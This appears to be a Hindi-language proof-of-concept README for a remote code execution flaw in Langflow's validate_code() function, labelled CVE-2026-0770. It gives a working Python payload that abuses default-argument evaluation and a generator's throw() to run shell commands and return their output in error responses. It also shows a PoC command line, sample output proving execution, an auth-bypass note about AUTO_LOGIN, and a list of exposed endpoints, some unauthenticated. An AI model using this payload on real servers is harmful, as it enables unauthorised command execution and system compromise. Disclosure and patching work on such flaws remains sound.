
# CVE-2026-0770 के लिए प्रूफ ऑफ कॉन्सेप्ट - Langflow रिमोट कोड एक्ज़ीक्यूशन
Langflow में src/lfx/src/lfx/custom/validate.py में स्थित validate_code() फ़ंक्शन में एक गंभीर रिमोट कोड निष्पादन भेद्यता है। यह फ़ंक्शन सैंडबॉक्सिंग के बिना उपयोगकर्ता-आपूर्ति किए गए Python कोड को निष्पादित करने के लिए exec() का उपयोग करता है, जिससे सर्वर पर मनमाना कमांड निष्पादन संभव हो जाता है।
संबंधित फ़ंक्शन और एंडपॉइंट में समान भेद्यताएँ पहचानी गई हैं:
validate_code() फ़ंक्शन उपयोगकर्ता-आपूर्ति किए गए कोड को पार्स करता है और exec() का उपयोग करके फ़ंक्शन परिभाषाओं को निष्पादित करता है:
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- मनमाना कोड निष्पादन
exec_globals संदर्भ में importlib और Python बिल्टिन तक पहुँच शामिल है, जिससे हमलावर खतरनाक मॉड्यूल (os, subprocess, socket) आयात कर सकते हैं और मनमाना सिस्टम कमांड निष्पादित कर सकते हैं।
* जब AUTO_LOGIN=true (डिफ़ॉल्ट कॉन्फ़िगरेशन) होता है तो प्रमाणीकरण को बायपास किया जा सकता है
validate.py में निम्नलिखित फ़ंक्शन भी असुरक्षित exec() का उपयोग करते हैं:
validate_code() फ़ंक्शन केवल फ़ंक्शन परिभाषाओं को निष्पादित करता है, फ़ंक्शन कॉल को नहीं। आउटपुट एक्सफ़िल्ट्रेशन के साथ कोड निष्पादन प्राप्त करने के लिए, हम डिफ़ॉल्ट तर्कों के लिए Python के मूल्यांकन क्रम का शोषण करते हैं।
मुख्य अंतर्दृष्टि: डिफ़ॉल्ट तर्क अभिव्यक्तियों का मूल्यांकन फ़ंक्शन परिभाषा समय पर किया जाता है, फ़ंक्शन कॉल के समय नहीं।
def foo(x=print("I execute immediately")):
pass
हालाँकि, हमें HTTP प्रतिक्रिया के माध्यम से आउटपुट एक्सफ़िल्ट्रेट करने की आवश्यकता है। एंडपॉइंट प्रतिक्रिया बॉडी में त्रुटियाँ लौटाता है, इसलिए हमें अपने आउटपुट वाला एक अपवाद उठाने की आवश्यकता है।
समस्या: raise एक स्टेटमेंट है, एक्सप्रेशन नहीं, इसलिए इसे सीधे डिफ़ॉल्ट तर्क में उपयोग नहीं किया जा सकता।
समाधान: जनरेटर के .throw() विधि का उपयोग करें, जो एक अपवाद उठाता है और एक एक्सप्रेशन है:
(_ for _ in ()).throw(Exception("output here"))
यह एक खाली जनरेटर बनाता है और तुरंत एक अपवाद फेंकता है। कमांड आउटपुट कैप्चर करने के लिए lambda के साथ संयुक्त:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
निष्पादन प्रवाह:
exec() फ़ंक्शन परिभाषा चलाता है_=... का तुरंत मूल्यांकन किया जाता हैsubprocess.run() कमांड निष्पादित करता है.throw() को कॉल करता हैvalidate_code() इसे पकड़ता है और प्रतिक्रिया में त्रुटि लौटाता हैpython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| फ़्लैग | विवरण |
|---|---|
-t, --target | लक्ष्य URL (आवश्यक) |
-c, --command | निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id && whoami) |
-k, --token | JWT टोकन (वैकल्पिक, डिफ़ॉल्ट रूप से ऑटो-लॉगिन का उपयोग करता है) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py| एंडपॉइंट | प्रमाणीकरण | हमला वेक्टर |
|---|
POST /api/v1/validate/code | आवश्यक* | प्रत्यक्ष कोड सबमिशन |
POST /api/v1/custom_component | आवश्यक* | घटक परिभाषा में कोड |
POST /api/v1/custom_component/update | आवश्यक* | घटक अद्यतन में कोड |
POST /api/v1/webhook/{flow_id} | कोई नहीं | कोड घटकों के साथ फ़्लो |
POST /api/v1/build_public_tmp/{flow_id}/flow | कोई नहीं | सार्वजनिक फ़्लो निष्पादन |
| फ़ंक्शन | पंक्ति | विवरण |
|---|
validate_code() | 66 | उपयोगकर्ता कोड को मान्य करता है |
eval_function() | 140 | फ़ंक्शन स्ट्रिंग का मूल्यांकन करता है |
execute_function() | 182 | मनमाने फ़ंक्शन निष्पादित करता है |
create_function() | 227 | कोड से फ़ंक्शन बनाता है |
create_class() | 241-442 | prepare_global_scope() और build_class_constructor() के माध्यम से क्लास बनाता है |